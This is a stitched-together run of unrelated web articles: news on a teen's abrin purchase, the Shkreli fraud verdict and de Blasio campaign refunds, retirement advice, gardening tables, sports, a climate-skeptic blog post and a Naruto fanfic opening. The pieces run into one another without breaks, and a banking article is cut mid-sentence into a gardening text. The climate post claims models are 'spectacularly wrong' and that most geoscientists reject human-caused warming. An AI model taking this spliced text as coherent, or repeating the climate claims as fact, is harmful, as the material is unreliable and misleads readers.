Ask yourself these questions and ask #WhichHillary we will be getting should she win the nomination. These questions travel beyond Clinton's candidacy and to challenging a system that continues to stifle progress for the average American. At what point do we stand up to our media and stop allowing them to push their own corporate agenda? At what point do we stand up to voter suppression and the system's blatant disregard for a legitimized democratic process? At what point do we stop giving away our political power out of fear? If not now, when? Ask yourself: which side of the Democratic party is holding the other hostage by asking us to rally behind a disliked candidate, especially given Sanders' double digit defeats against Trump et al?Saving for retirement has many parallels to healthy eating. Mind you, not "dieting," which too often is just temporarily eating less of the same bad foods.
No, healthy eating is a permanent change, a choice you make with great willpower but make permanently. There are tons of books out there about food, and some of the better ones were written by a gentleman named Michael Pollan, including a simple little chapbook entitled "Food Rules: An Eater's Manual."
The brilliance of that book is that it offers a lot of extremely boiled down wisdom. Like a good soup, the more you boil a complex subject to its essences, the richer the experience.
Pollan himself offers this illuminating cheat sheet for an already short book. He says that everything he knows about food could be summed up in a sentence: Eat food, not too much, mostly plants.
Neat, huh? Such a simple concept. Eat food (not fake food, like potato chips), not too much (sheer volume is a bigger problem than the fat or sugar in many people's daily diets), mostly plants (you need fiber, not another slice of steak).
There are many ways to simplify investing, too. Investing for retirement can be extremely complex. Certainly, there are legions of professionals out there, many of them with good intentions, who depend on that complexity to stay in business. If it were easy, you could do it on your own, right?
But it is easy. Barry Ritholtz, a market researcher and columnist for The Washington Post, recently tackled the complexity issue at length. He had a lot of very good things to say, ideas with which we agree completely. You should invest passively, for instance, rather than pick individual stocks. Keeping costs low is a big deal. Rebalancing is a must, as is asset allocation.
He had a few other key ideas to relate, but let's focus on these central concepts and see if we can get a "Pollan rule" out of it.
Invest passively: That means buying index funds and exchange-traded funds of the biggest, most liquid markets. The key here is to avoid picking winners and thus also avoid picking losers along the way. A big loser can ruin your whole plan.
Keep costs low: This is huge. That seemingly tiny fee your mutual fund charges is eating your long-term returns alive. You can get costs down easily enough with index products. The gap between 1.27% and 0.05% is bigger than you might think. Both are small numbers. One is much, much smaller.
Rebalancing and asset allocation: But, Mitch, if I don't pick stocks, aren't I stuck with market performance? Yes, you are. And that's what you want. Disciplined rebalancing and a strong asset allocation plan are all the edge you need to compound your way to retirement with minimal risk.
In sum, here's your "Pollan rule" for retirement investing: "Buy investments, avoid costs, mix it up to lower risk."
Breaking that down, it goes like this:
1. Buy investments (don't sit on cash or otherwise try to time things).
2. Avoid costs (keep every penny you can on your side of the ledger, working for you).
3. Mix it up to lower risk (index products, rebalancing and an asset allocation plan are powerful tools).
What could be simpler?Representing one-fifth of the world’s freshwater supply, Canada’s rivers, lakes, and streams are often held up as one of its greatest assets—especially as climate change dries out other regions around the world. That’s why a recurring debate over whether the country should export its water has recently resurfaced.
In mid-January, reporter Chris Wood argued in support of the idea from a conservationist’s perspective in Corporate Knights:
In our refusal to countenance selling water, Canadians have sacrificed the best means to calculate its economic value (the verboten “putting a price on the priceless”), and thereby denied ourselves the best motive and means for being careful how we use it.
Against the notion, a Stratfor analyst wrote last June that there’s no chance Canada will ever divert bulk supplies to water-stressed areas, à la oil or coal:
Economic realities will prevent it. Even if water were priced to market demand, public sentiment would still make such transfers unlikely.
It’s no wonder that architect, artist, and designer Joy Charbonneau struck a nerve when her hydrological map of Canada was published by the Globe and Mail in December. Water, and water only, etches and delineates the landscape in this stunning, woodcut-like visual.Sixteen-year-old boy from Manchester given 12-month referral order after claiming he attempted to buy abrin to kill himself
A “troubled” 16-year-old boy from Greater Manchester who ordered a deadly toxin from the dark web has walked free from court after claiming he tried to buy the poison to kill himself.
The teenager, who is from the Tameside area, was given a 12-month referral order on Monday after pleading guilty earlier this month to attempting to acquire a biological toxin or agent contrary to the Criminal Attempts Act 1981 and section one of the Biological Weapons Act 1974.
The basis of this plea was that he attempted to purchase abrin with a view to killing himself, Greater Manchester police said.
The boy was caught after undercover law enforcement officers communicated with him covertly via the dark web, also known as the “deep web”, software which allows users to surf the internet with relative anonymity, beyond the reach of search engines.
I would urge parents to keep a very close eye on what their children are doing DS Russell Stubbs
During the conversation he expressed an interest in purchasing abrin, which is considered 30 times more toxic than ricin. During these communications, the teenager showed awareness of the drug’s toxicity and the potential for it to be used to cause considerable harm, according to the north-west counter-terrorism unit, which was tipped off by the undercover officers on 23 January.
On 6 February 2015, the 16-year-old attempted to place an order with the officers posing as sellers of the toxin.
On 16 February, warrants were executed at two addresses in Greater Manchester and the boy was arrested. A 16-year-old girl was also arrested as part of the investigation but later released without charge.
After the sentencing DS Russell Stubbs said: “The teenager at the centre of this investigation is clearly a vulnerable, troubled young man and I hope now that this case is concluded he can get the help and support he needs to turn his life around.
“Thanks to the vigilance of officers from a number of different law enforcement agencies, we were able to intervene before this young man did get hold of such a deadly substance from a genuine seller.
“I want to reassure our communities that the north-west counter-terrorism unit and local police are well aware of the potential dangers associated with internet activity on the ‘dark web’. Law enforcement agencies use a range of investigative techniques to monitor and police unlawful internet activity.
“I would also urge parents to keep a very close eye on what their children are doing. Security measures are available to block certain sites and if you suspect your child is spending too much time on the internet and you notice sudden changes in their behaviour then please report it. As in this case, the sooner we are able to identify someone either at risk or using the ‘dark web’ for criminal purposes the better chance we have to consider appropriate intervention options.”Britain's biggest banks have warned the Chancellor first-time buyers could be starved of mortgages if proposed international rules come into force.
Small businesses could also be hit hard by changes to the way banks assess risky mortgage lending, the British Bankers’ Association (BBA) cautioned in a letter to George Osborne late last week, a copy of which has been seen by The Telegraph.
The changes are part of the Basel Committee’s effort to simplify rules on bank capital – but the BBA fears the effects will drive up borrowing costs.
“These new measures could mean that many lenders |
clay does not affect the shallow roots, and they benefit from the added moisture. Plants with deeper roots, such as tomatoes, would not do well in this soil depth.
Some raised beds are set on cement patios or on gravel surfaces, which prevent roots from going deeper than the height of bed sides. In these cases, it is especially helpful to know the soil depth requirements of different vegetable crops. Gardeners can compensate by building the raised beds higher to allow for more root space. While raised beds are commonly 8″ – 12″ tall, some raised beds have sides which are 3′ or higher. These taller beds enable deeper rooted crops to be planted even if there is no soil beneath the bed, but drainage must be provided by blocking the bed up an inch or so, or drilling drain holes near the bottom of the bed sides.
Soil Depth Requirements for Common Garden Vegetables
Shallow Rooting
12" - 18" Medium Rooting
18" - 24" Deep Rooting
24" - 36"+ Arugula Beans, dry Artichokes Broccoli Beans, pole Asparagus Brussel sprouts Beans, snap Beans, lima Cabbage Beets Okra Cauliflower Cantaloupe Parsnips Celery Carrots Pumpkins Chinese cabbage Chard Rhubarb Corn Cucumber Squash, winter Endive Eggplant Sweet potatoes Garlic Kale Tomatoes Kohlrabi, Bok Choy Peas Watermelon Lettuce Peppers Onions, Leeks, Chives Rutabagas Potatoes Squash, summer Radishes Turnips Spinach Strawberries
Root Growth Pattern
For most vegetables, the bulk of the root mass is within the top six inches of soil. The soil should be light and well aerated to enable roots to access available nutrients. Deeper soil provides additional nutrients and trace minerals, which further facilitate plant growth. Plants will send some roots deeper if the soil conditions permit. When preparing soil for raised beds, ‘double-digging’ the soil will aerate this deeper soil and clear it of rocks and debris.Team New Zealand could be heading home within days if it doesn't solve fundamental errors in its races, the team's head coach says.
Photo: PHOTOSPORT
"We have really got to have a good hard look at ourselves - we are really making some fundamental errors which we can't do as the regatta gets to the pointy end," Rod Davies told Radio Sport in a phone interview.
"We'll be coming home in two days time if we don't sort ourselves out," he said.
Davies has not been accessible to media in Bermuda, and his blunt comments contrast with the generally upbeat tone taken by helmsman Peter Burling during organised media appearances.
The comments were made after a day in which Team New Zealand trailed its Challenger Finals rival Artemis three times at the crucial first mark after the startline.
Team New Zealand's 2-1 scoreline yesterday in the first-to-five contest might have been helped by Artemis skipper and helmsman Nathan Outteridge going overboard, as Team New Zealand was about to attack, and today Artemis retiring in the second race, after Team New Zealand got past.
Davies identified starting, and communication between the sailors on board, as areas for improvement.
"In a couple of races [mistakes] at the pre-start were pretty fundamental, in the lighter conditions in the first race we just got ourselves in a really awkward position," Davies said in the interview.
But he also had praise for the crew, most of whom were in their mid-to-late 20s.
"They've kept their composure really well, in between races they come in really cool, calm and collected. There's probably more rage on the chase boat," where he and team bosses Grant Dalton and Kevin Shoebridge follow the action.
When RNZ asked Peter Burling about the starting record, he did concede it wasn't perfect.
"The start is something we are working on. It definitely felt like it was a couple of pretty small decisions that cost ourselves on the start," Burling said.Last year, a routine project to repair sewer and water lines in the Haight went awry when the contractor pierced a series of gas distribution lines. Businesses were temporarily closed, and there were months of finger-pointing.
Subcontractor Synergy Project Management, which had a $7.5 million contract, was fired. But the incident raised questions about San Francisco’s low-bid contracting process and why contractors with a poor performance history are repeatedly employed for new projects. Synergy has also been hired to do work on the upcoming Van Ness Bus Rapid Transit project.
But new legislation would change the low-bid process to a best-value system to evaluate contractors for new projects. Each city department would establish a bidding system based on price, safety record, past performance, management and labor competence, and other factors. Sponsored by Supervisors Scott Wiener, London Breed and Katy Tang, the Administrative Code amendment heads to the budget committee on Wednesday before next week’s Board of Supervisors meeting.
“The Haight Street situation was definitely the most visible example in recent memory of what happens when a contractor is not held accountable,” Wiener said.
‘Makes no sense’
“The fact that the city has no real way to account for poor performance in the past makes no sense,” he said. We need to make sure we are contracting with firms that do a good job and get the project done on time and on budget.”
Under the current bid system, only the price tag is considered, and the lowest bidder automatically receives the contract. No other factors are included in awarding the project. But factoring in other job performance aspects has become more commonplace across the state.
Seven California counties, the Los Angeles Unified School District and the University of California system have already adopted a best-value bidding system.
The best-value system would allow department heads to hold open meetings to establish contracting criteria. The final price bids would be divided by a score on a number of criteria, like safety and labor compliance, and the lowest resulting bid would be given the project.
The process provides better incentives and increases the competition for contract deals, said Nicholas King, manager of Public Works’ performance and accountability program. Cities that use best-value bidding see projects conclude more quickly and often finish under budget, he said.
“The simple idea that past performance is an indicator of future performance is reasonable,” he said. “We should be able to weigh in on that. In the next 10 years, we are going to be spending $30 (billion) to $32 billion in the capital program. You get what you pay for, and there are some bad incentives associated with low-bid contracting.”
Greater transparency
The best-value system can also create a more transparent process among the city, contractors and residents. Steffen Franz, chairman of the Park and Recreation Open Space Advisory Committee, a group of 22 people appointed by their district supervisors to advise the Recreation and Park Department, helped shepherd a $10.2 million renovation to his neighborhood green space, Lafayette Park, in 2012. Communication among the entities fell apart, he said, and there were few updates on how the renovation was progressing.
“The big issue for me is the handoff between the contractor and the stakeholder,” Franz said. “There needs to be more transparency and communication. We need to make sure that, as building and construction booms, we are hiring people who will be the right fit for the job itself. Right now, people are price-driven 100 percent. Every contract the city does basically starts and ends with the cost.”
While some residents worry that scrapping parts of the low-cost bid policy would increase the price of city projects for taxpayers, Wiener contends that it would block irresponsible contractors — many of whom have filed costly change orders and drained city resources — from being hired again.
The environment needs to change, said John Doherty, business manager and financial secretary for the Electrical Workers Union.
“The problem is you have people that have a track record of not completing jobs or not doing it right,” he said. “It costs the taxpayers money to have it redone by city workers. Projects should be scored accordingly so they don’t fall victim to someone who comes in and puts the lowest number in with no intention of completing the job.”
And maybe, he said, under the best-value system there would have been fewer utility line breaks in the Haight.
Lizzie Johnson is a San Francisco Chronicle staff writer. Email: ljohnson@sfchronicle.com Twitter: @LizzieJohnsonnnMayor Bill de Blasio’s campaign plans to return $32,200 to seven contributors, just weeks after it was disclosed that state and federal investigators were looking into possibly illegal donations to his 2013 run for City Hall.
De Blasio campaign spokesman Dan Levitan said the city’s Campaign Finance Board has been notified that the refunds would be made “as soon as feasible.”
Sm-Ali Amanollahi, owner of the Queens-based Primary One beauty products company; his drivers, Rafael Zepeda and José Zepeda; and his associates Charalambos Anastassopoulos, Giuliano Bruschi and Ralph Scopo each donated $5,000 to de Blasio, records show.
All the donations except one were made on the same day: Oct. 21, 2013.
The de Blasio campaign immediately returned $50 to each donor for going over the $4,950 limit prescribed by city campaign rules.
Angela Parra, who also works for Primary One, added another $2,500 to the mayor’s campaign account just days later on Oct. 29, 2013.
It is illegal to make campaign contributions in someone else’s name, a practice known as “straw donations.”
The donations being refunded, which were first reported by DNAinfo, include six that exceeded the maximum allowed by $50.
The timing of the Primary One donations, the fact that they all exceeded the limit by the same amount, and the working-class jobs held by donors giving thousands of dollars have raised red flags.
The generosity of the employees from the Queens-based company didn’t end with the campaign.
Six each chipped in another $4,500 to de Blasio’s transition committee, which picked up expenses after the mayoral election.
Because that committee has been shut down, Levitan said $27,000 in combined donations could not be returned.
Most of the donors could not be reached Monday.
“The campaign holds itself to the highest legal and ethical standards, and in light of the questions raised about these contributions has elected to return them,” Levitan said.
Rafael Zepeda referred calls to his attorney.
He was among those who donated the maximum to the mayor’s campaign and another $4,500 to the transition fund.
When asked earlier this month about the nearly $10,000 in donations, Zepeda initially confirmed them and then claimed that he gave nothing at all.
Amanollahi told The Post earlier this month that he, like Rafael Zepeda, had retained a lawyer.
He said at the time that his employees made very good money, but refused to say how much.
“They’ve been taken care of,” he said, adding that his workers receive “five-figure” salaries.
He also balked at questions about whether he instructed his employees to give money to de Blasio.
“I’m not going to touch that,” he said.
Amanollahi dates Rud Morales, a member of the de Blasio inaugural committee and a board member of the Mayor’s Fund to Advance New York City, which is headed by Hizzoner’s wife, Chirlane McCray.Getty Images Not Just Yeshiva: Israel's complex state subsidies help fund education for religious students from grade school to beyond army service. Share
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JERUSALEM (JTA) — Textbooks used in Haredi Orthodox schools in Israel promote the community’s insularity, according to a study by an education watchdog.
The Institute for Monitoring Peace and Cultural Tolerance in School Education, or IMPACT-se, studied 93 textbooks used in grades 1 through 12.
The curricula of the Haredi schools oppose modernity, and acceptance of others is limited and unequal depending on the perceived threats to the community’s identity and its goals, according to the study.
Hatred of the Jewish people by the rest of the world is taught as a permanent historical reality and especially manifested through the teaching of the Holocaust. There is no extensive coverage of the Israeli-Palestinian conflict, since it is included as hatred from the rest of the world. The textbooks also have almost no reference to Mizrahi culture, focusing instead on the Ashkenazi Haredi experience.
The textbooks also depict women as remaining in the background and not being empowered, while also being required to earn the family’s livelihood.
They either negate or are contemptuous of modern secular society, and hold out Reform Jewry for the most contempt, believing the movement is attempting to create an alternative religion.Martin Shkreli, who was convicted of three counts of securities fraud on Aug. 4, will now await his January 2018 sentencing hearing in jail. (Monica Akhtar/The Washington Post)
NEW YORK — A Brooklyn jury on Friday found Martin Shkreli, the former hedge fund manager notorious for brazenly raising the price of a critical drug, guilty of defrauding his investors.
Shkreli shook his head in apparent disbelief as the first of three guilty verdicts was read. His father, who attended every day of the more than four-week trial, put his head in hands. Shkreli, who was acquitted on five other charges, faces up to 20 years in prison, though legal experts say he is likely to be sentenced to much less.
The jury’s decision, following five days of deliberations, did not give either side the clear victory they wanted, but was certainly humbling for Shkreli who had boasted that prosecutors would have to apologize to him when the case was over.
Yet with the audacity that has become his trademark, Shkreli met a scrum of reporters outside the courthouse and said he was “delighted in many ways,” noting that he had been exonerated on charges he considered more serious.
“This was a witch hunt of epic proportions,” he said. “Maybe they found one or two broomsticks, but at the end of the day we were acquitted of the most important charges in this case.”
Martin Shkreli, a former pharmaceutical CEO, spoke to reporters after he was convicted of three counts of securities fraud on Aug. 4. (Reuters)
Prosecutors convinced the jury of five men and seven women that Shkreli, 34, misled investors in two of his hedge funds, MSMB Capital and MSMB Healthcare. Shkreli lied in order to get their money and then to cover up massive losses after he made a bad stock bet, according prosecutors.
“Justice was served,” said Bridget M. Rohde, acting U.S. Attorney for the Eastern District of New York.
But the jurors did not find him guilty of one serious charge: That Shkreli had looted a pharmaceutical he founded, Retrophin, of $10 million, to repay investors.
Shkreli’s high-powered attorney, Benjamin Brafman, clung to the acquittal on that count as a victory that he said ultimately could mean that Shkreli would serve little to no prison time. “We’re not 100 percent pleased, we’re 90 percent pleased,” said Brafman. “The controversy around Martin, God bless him, did not help us.”
Shkreli’s infamy hung over the more than month-long case, beginning with jury selection when the judge struggled to find potential jurors who didn’t already dislike the man known as “pharma bro.” He is best known for raising the price of Daraprim — a 62-year-old drug primarily used to treat newborns and HIV patients — from $13.50 to $750 a pill. When critics pounced, Shkreli didn’t shrink from the attention but instead relished in it by battling naysayers on Twitter. He repeatedly flashed his famous smirk while refusing to answer questions at a congressional hearing on rising drug prices.
Boosting drug prices was not why he was on trial, though the defense questioned whether prosecutors would have brought the case if not for Shkreli’s reputation.
“Rarely has a white-collar criminal defendant evoked hatred and scorn from public in the way Shkreli has. Shkreli’s willingness to lie, step on people, flaunt his wealth and look down on others made him a villain that many wanted to see go down in flames,” said James Goodnow, an attorney with Fennemore Craig, a corporate defense firm.
Shkreli didn’t do himself any favor during the trial as he struggled to repress his quirky instincts. As his attorneys argued his case, he squirmed in his seat and sometimes appeared bored. He reportedly read organic chemistry books and medical journals to stay occupied during some of the testimony. Shkreli once walked by where reporters were seated in the courtroom during a break and whispered “fake news.”
Early in the trial, U.S. District Judge Kiyo Matsumoto chastised Shkreli for speaking with reporters where jurors might hear him after he strolled into a room full of media and called the prosecutors “junior varsity.” He stopped speaking to reporters after that but still popped up on Twitter, which banned him earlier this year, to tease them under an pseudonym.
A more nuanced image of Shkreli emerged during the trial. To the wealthy elite he courted, Shkreli was a savvy if eccentric Wall Street insider. Investors testified that they forked over money after hearing from others that Shkreli was a “rising star” in the hedge fund world, and were willing to dismiss his quirks, even when he greeted one investor in fluffy slippers and a stethoscope. What prosecutors characterized as the cunning of a chronic liar, the defense called the oddities of a genius.
Prosecutors were focused on Shkreli’s leadership of two hedge funds, MSMB Capital and MSMB Healthcare, and a pharmaceutical company, Retrophin. Shkreli raised millions for MSMB Capital, but not as much as he told investors. When he made a bad bet that doomed the hedge fund, he launched a scheme to cover it up, prosecutors said. He raised more money for another hedge fund, MSMB Heathcare, which he largely used to fund the start up of Retrophin.
When disgruntled investors attempted to claim their profits, Shkreli used money from other investors and Retrophin cash and stock to pay them off, according to prosecutors.
“Shkreli misled investors in his self-indulgent scheme,” FBI Assistant Director-in-Charge William F. Sweeney, Jr. said in a statement. The conviction “shows that those who corrupt the market will ultimately be brought to justice.”
Brafman, Shkreli’s defense attorney, disputed all of the charges and attempted to sway the jury with a simple rebuttal: His investors were wealthy and sophisticated and he ultimately made them richer.
“My investors made three to five times their money,” Shkreli said during the press scrum after the verdict. And Retrophin wouldn’t exist without him, he said, boasting that he had taken it from an “idea in my head to a half-a-billion-dollar company.”
That is a compelling argument, but not good enough, Goodnow said. “Shkreli’s lack of contrition and the way he cut people to the bone with his words no doubt evinced anger in the jurors that Shkreli’s defense team simply could not overcome,” he said.
Shkreli still faces civil charges from the Securities and Exchange and a $65 million lawsuit filed by Retrophin, which ousted him.
“It is a hollow victory if you want to call it a victory,” said David Chase, a former SEC prosecutor. Matsumoto, the judge, still has the discretion to send Shkreli to prison for several years, he said. She has not set a date for sentencing.
Still, an hour after leaving the courtroom, Shkreli was back where he feels comfortable: At home in a room full of music equipment where he livestreams his life.
“I think I can get probation. I think there’s a decent chance,” he said with a beer in his hand and still wearing the polo shirt and glasses he wore to court. “I think we’re going to end up appealing this. I’m going to talk about this with my lawyers.” His cat, named Trashy, made regular appearances in the background.
Alex Schiffer in Washington contributed to this story.An Ohio lawmaker has been indicted on 16 felony charges accusing him of misleading investors about a company's financial status and misusing their money for personal benefit. His attorney says the accusations are outlandish and shameful.
State Rep. Pete Beck, a Mason Republican and a certified public accountant, was indicted Friday on fraud, theft and other charges.
Investors sued Beck in January and accused him and others of misleading them about the financial status of two companies and misusing $1.2 million.
Beck has denied the allegations. His attorneys say he's being used as a scapegoat because the two main players responsible for the investors' losses are either dead or bankrupt.
His lawyers also say that many of the people accusing Beck of swindling them are themselves "sophisticated investors."Secretary of the Interior Sally Jewell has come out and said that those who work for the Interior Dept. should NOT question the assumption that human activity is causing total ecological DOOM, and stated that “I hope there are no climate-change deniers in the Department of the Interior.”
Of course, the models that forecast ecological annihilation have been, and are continuing to be, spectacularly wrong. Even most geoscientists reject the idea that human activity is the prime mover for climate or that we are DOOMED because we filthy humans besmirch glorious Gaia.
The roots problem is that science is never settled. If it were, we would still be practicing phrenology!
Doubt is the core essence of science:
“Michael Faraday warned against the tendency of the mind ‘to rest on an assumption’ and when it appears to fit in with other knowledge to forget that it has not been proved.”
— quotes by W. I. B. Beveridge in The Art of Scientific Investigation, 1957 “The main thing you need to learn is to doubt. Don’t believe anything you’re told without good reason and argument. Doubt underpins science.”
— Nobel Prize winner Richard Smalley, in Chem & Eng News, July 15, 2002
Those who do not doubt, are the real anti-science “deniers.” Obama’s “Organizing for Action” got into the action declaring that “Climate change is real. #ScienceSaysSo.”
There were plenty of other things that “science” once declared settled:
"Disease is caused by a toad or a small dwarf living in the stomach, because #ScienceSaysSo" ~ Theodoric of York | http://t.co/HIph6dLNAY — The Political Hat (@ThePoliticalHat) August 12, 2013
"The sun revolves around the Earth, because the #ScienceSaysSo" – Claudius Ptolemy pic.twitter.com/BhMHve5yN0 — The Political Hat (@ThePoliticalHat) August 12, 2013
Sadly, some people never learn to get over their own hubris.
TweetTuesday · July 14, 2015 · 1:30 PM To 4:30 PM Southern Nevada Economic Baseline
555 E. Washington Ave.
Grant Sawyer State Office Building, Room 4412
Las Vegas NV, 89101 Meeting Page
(Documents and Other Meeting Information)
Thursday · August 27, 2015 · 9:00 AM To 4:30 PM McCarran International Airport
4505 S. Maryland Parkway
University of Nevada, Las Vegas, Foundations Building, Blasco Event Wing
Las Vegas NV, 89154 Meeting Page
(Documents and Other Meeting Information)
Thursday · September 24, 2015 · 9:00 AM To 4:30 PM Stadiums, Arenas and Event Centers
4505 S. Maryland Parkway
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Las Vegas NV, 89154 Meeting Page
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Thursday · October 22, 2015 · 9:00 AM To 4:30 PM Convention Centers
Future of Transportation
4505 S. Maryland Parkway
University of Nevada, Las Vegas, Richard Tam Alumni Center
Las Vegas NV, 89154 Meeting Page
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Thursday · December 3, 2015 · 9:00 AM To 4:30 PM Pedestrian Movement Within the Resort Corridor
Follow-Up to Las Vegas Convention Center District
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Thursday · January 28, 2016 · 9:00 AM To 4:30 PM Roads, Highways and Mass Transit
Follow-Up Material from December
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Thursday · February 25, 2016 · 9:00 AM To 4:30 PM Committee Workshop on Convention Centers
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Thursday · March 24, 2016 · 8:00 AM To 4:30 PM Work Session 2 (Stadiums & Event Centers)
Follow-up Material From February
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University of Nevada, Las Vegas, Foundations Building, Blasco Event Wing
Las Vegas NV, 89154 Meeting Page
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Thursday · April 28, 2016 · 8:00 AM To 4:30 PM Convention Center Workshop
Follow-Up Materials from March
Stadium Proposal
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Thursday · May 26, 2016 · 8:00 AM To 4:30 PM Convention Center Legislative Recommendation
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Monorail Request
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Thursday · June 23, 2016 · 8:00 AM To 4:30 PM Items for Potential Action
Stadium Proposal Alternatives
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Monday · July 11, 2016 · 8:00 AM To 12:00 PM Convention Center Legislative Recommendation
Committee Workshop on Stadium Proposal
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Thursday · July 28, 2016 · 8:00 AM To 12:00 PM Las Vegas Stadium Proposal
Las Vegas Metropolitan Police Department
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Thursday · August 25, 2016 · 8:00 AM To 12:00 PM Las Vegas Stadium Proposal
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Thursday · September 8, 2016 · 1:00 PM To 5:00 PM Las Vegas Stadium Proposal
Las Vegas Metropolitan Police Department
Stan Fulton Building, 4505 S. Maryland Parkway
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(Documents and Other Meeting Information)Broccoflower refers to either of two edible plants of the species Brassica oleracea with light green heads. The edible portion is the immature flower head (inflorescence) of the plant.
Broccoli and cauliflower are different cultivars of the same species, and as such are fully cross compatible by hand pollination or natural pollinators.[1] There are two forms of Brassica oleracea that may be referred to as broccoflower, both of which are considered cultivars of cauliflower (Brassica oleracea var. botrytis) because they have inflorescent meristems rather than flower buds when harvested.[2] One is shaped like regular cauliflower, the other has pointed, conical, spiraling clusters of florets. They share a curd color that is a similar hue to that of broccoli.
Green cauliflower [ edit ]
Broccoflower can sometimes refer to green cauliflower (right), in contrast to white variants (left)
The first form of broccoflower has the physical attributes of a white cauliflower, but the curd color is lime-green. There are several cultivars of green cauliflower on the market, with the first release being 'Green Ball' with parentage of both broccoli and cauliflower.[3] The California firm Tanimura & Antle trademarked the word "Broccoflower" for the green cauliflower they market.[4]
Romanesco broccoli [ edit ]
broccoflower also refers to Romanesco broccoli The namealso refers to Romanesco broccoli
The second form is Romanesco broccoli, which is characterised by the striking and unusual fractal patterns of its flower head. It has a yellow or vibrant green curd color.
References [ edit ]Ever since dates for Uttar Pradesh Assembly election were announced, the Bharatiya Janata Party (BJP) top brass has been claiming to win 300 seats. From Prime Minister Narendra Modi, Home Minister Rajnath Singh to party president Amit Shah, the BJP leadership has expressed confidence of winning an overwhelming majority in Uttar Pradesh and ruling out any impact of the alliance between the Congress and the ruling Samajwadi Party.
However, after five phases of voting, the BJP appears to be nervous. Addressing a rally in Uttar Pradesh's eastern town of Mau today, Prime Minister Narendra Modi talked about SP-Congress working on a plan to deny BJP a chance to return to power in the state.
ASSEMBLY ELECTIONS 2017: FULL COVERAGE
"After several rounds of voting, I can tell you that they (SP, Congress) are losing. People have rejected them. Now, Samajwadi Party, Congress and the Bahujan Samaj Party (BSP) are working on a new game plan...they are working for a hung Assembly," PM Modi said.
What prompted PM Modi to mention about hung Assembly? Has the BJP realised that it will really be a tough task for it to win full majority in the Assembly election, which is being seen as the test of PM Modi's 'gamble' of demonetisation and also as a semi-final before the 2019 general elections.
Political pundits believe that had BJP been confident of winning a clear majority in Uttar Pradesh, PM Modi would have never mentioned about possibility of a hung Assembly.
Though PM Modi repeatedly stressed at Mau rally that the BJP is capable of forming the next government in Uttar Pradesh on its own, his hung Assembly remark certainly highlights his party's worry.
Infact, Home Minister Rajnath Singh recently acknowledged that the Congress-Samajwadi Party alliance has certainly put a dent to BJP's prospects.
"Without that (alliance), we would have crossed 300 seats," Rajnath Singh told NDTV last week. However, he added that the party was maintaining a comfortable lead.
WHAT PM MODI SAID AT MAU RALLY:
When Nehruji was the Prime Minster, BJP MP Vishwanathji from Ghazipur expressed concern over poverty. In 1962, speaking in Parliament he had said that people in eastern UP survived on grains of wheat picked from cow-dung. He had also tabled a report regarding this but Congress never took any action. They should be ashamed of asking for votes in eastern Uttar Pradesh. People of Uttar Pradesh have made up their minds to support the Bharatiya Janata Party. Our alliance partners will be made part of the government as are a party that believes in taking everyone together. For the first time in 30 years, the world is talking about India. It is because there is a stable government at the Centre. Uttar Pradesh will also develop if there BJP comes to power to provide a stable government. Congress, SP, BSP know they are going to suffer a defeat. So, now they working to dent BJP's chance. They are creating an environment that no party get majority. There is no law and order in Uttar Pradesh. Incidents of loot, rape, riots are reported daily from the state. The ruling party cares little for the ever rising crime graph. Samajwadi Party has given tickets to criminals...they are making fun of democracy.
WATCH: Mann ki Baat: Urge the youth to be ambassadors of digital transaction movement, says Modi ALSO READ:
Samajwadi Party on ventilator, Dimple Yadav's Mann ki Baat: Who is saying what in Uttar Pradesh
Modi in Mau: Threat to PM's life from Rasool Pati in Mukhtar Ansari's bastion
Akhilesh Yadav dares PM Modi for debate over discrimination in development2 of 10
Seth Wenig/Associated Press
It was a dream come true for both Olivier Vernon and Lamar Miller when the two players were selected by the Miami Dolphins in the 2012 draft.
Both players are South Florida natives who not only went to high school there (Vernon is an alum of American High School near Miami Lakes, while Miller attended Killian High School in Kendall) but wound up going to the University of Miami.
Vernon told Andy Kent of the Dolphins' official site in 2012:
It was crazy. We never really thought about that before and we didn’t think it was going to happen. I remember one day Lamar and I were talking about it over lunch and we never would have thought we would have been where we are right now. But we’re just enjoying it and taking it in stride right now. Our parents don’t have to waste any money on plane tickets so they’re enjoying it as well.
Now entering their fourth seasons with the club, Vernon's and Miller's drafting has been a dream come true for the Dolphins and Dolphins fans, as both local kids have made good.
Miller is coming off a breakout season in 2014 that saw him run for 1,099 yards and eight touchdowns for an average of 5.1 yards per carry, while Vernon has started 30 games in the last three years while amassing 21.5 sacks, three forced fumbles and 96 tackles on the defensive line.
Now comes the nightmare: Both players are entering free agency after the 2015 season, and it might be difficult for Miami to sign both of them, or even one of them.
Miller's contract might not be too much of a challenge. The running back position has been devalued in recent seasons, and as good as Miller has been, he's still not seen as an every down running back. That might stunt his value even more, allowing the Dolphins to re-sign him to a reasonable deal.
Vernon, being a pass rusher, is at a very high-valued position at which teams are willing to throw big money around (Armando Salguero of the Miami Herald said that $12 million a year is the floor for negotiations between Vernon and the Dolphins). Considering how much money the Dolphins have thrown around in recent years, their cap situation in 2016 looks to be onerous, and sacrifices will have to be made.
It's conceivable that Miami could decide that Vernon isn't worth the price he could command on the open market and instead use the draft to find its next big pass-rusher. It wouldn't be the most prudent long-term move, as Cameron Wake's successor will have to be in place soon, and it would help to have Vernon in tow already, especially since he will be only 25 in 2016.
It's surprising that in an offseason that has seen the Dolphins not only sign new players to long-term deals while locking up young stars like Mike Pouncey and Ryan Tannehill, Vernon hasn't gotten his shot. In a contract year alongside Wake and Ndamukong Suh, it shouldn't be a surprise if Vernon turns in his best season to date.
The potential for a future headache is huge and will hang over the Dolphins not just throughout training camp but throughout the season.In twenty truths format, a little bit about Jiraya. Twenty truths, twenty cups of sake. Some light, some bitter, some in between.
Thanks go to Skelethin and Cornuthaum for edit and some useful suggestions.
Disclaimer: I don't own Naruto.
---
"Sennin."
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1. Unlike his teammates, Jiraya really doesn't have a surname. Tsunade, already burdened with her relation to two Hokages and to the noble line of Fire, never cared for hers. Orochimaru's parents were disgraced nobles who shamed theirs. Jiraya never had one. It never bothered him either. He was Jiraya, it was all there was to it.
2. He wasn't born in Konoha, or even in the Fire country. Truthfully, he doesn't know where or when he was born - the first real memory he has is wandering through Konoha outskirts looking to steal something to eat, since he was hungry. Despite that, he still shared an apple with a loud, blonde girl he met afterwards, if only to just shut her up.
3. Just like he doesn't have a surname, Jiraya once didn't have a name. However, unlike most things in his life he had to fight for or steal to get, this one was freely given by a a bratty, self important blonde little girl who tried to boss him one second, and shared her dango with him a moment later. Tsunade never admitted that she had stolen the dango herself beforehand. A year later, they met a boy named Orochimaru. The rest was both history and legend.
